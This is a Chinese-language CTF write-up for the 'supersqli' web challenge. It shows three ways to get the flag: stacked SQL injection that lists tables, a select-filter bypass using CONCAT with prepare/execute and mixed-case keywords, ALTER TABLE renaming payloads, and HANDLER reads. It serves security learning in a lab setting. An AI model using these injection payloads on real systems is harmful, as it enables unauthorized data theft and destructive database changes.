攻防世界-web-高手進階區017-supersqli


方法一:

1.輸入1’發現不回顯,然后1’ #顯示正常,應該是存在sql注入了

 

 

 

2.order by 2的時候是正常回顯了,order by 3就出錯了,只有2個字段這時候用union select進行聯合查詢,發現關鍵字被正則過濾

 

 

 

3.嘗試堆疊注入

-1';show tables --+

 

 

 

4.查看字段,

-1';show columns from `1919810931114514` --+

-1';show columns from `words` --+

 

 

 

 

5.查看值,需要繞過select的限制,我們可以使用預編譯的方式

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分開來如下

-1';

set @sql = CONCAT('se','lect * from `1919810931114514`;');

prepare stmt from @sql;

EXECUTE stmt; #

 

 

 

6.這里用strstr函數過濾了setprepare關鍵詞strstr這個函數並不能區分大小寫,我們將其大寫即可。

-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

 

 

 


 

方法二:

1.由上面的探測我們可以猜測出這里會查詢出words表的data列的結果。也就是類似於下面的sql語句:

select * from words where id = '';

 

2.我們將表1919810931114514名字改為wordsflag列名字改為id,那么就能得到flag的內容了。

修改表名和列名的語法如下:

修改表名(將表名user改為users)alter table user rename to users;

修改列名(將字段名username改為name)alter table users change uesrname name varchar(30);

 

3.最終payload如下:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分開來如下

1';

alter table words rename to words1;

alter table `1919810931114514` rename to words;

alter table words change flag id varchar(50);

#

 

4.然后使用1' or 1=1#即可查詢出flag

 


 

方法三:

使用handler查詢,payload如下:

-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

 


 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM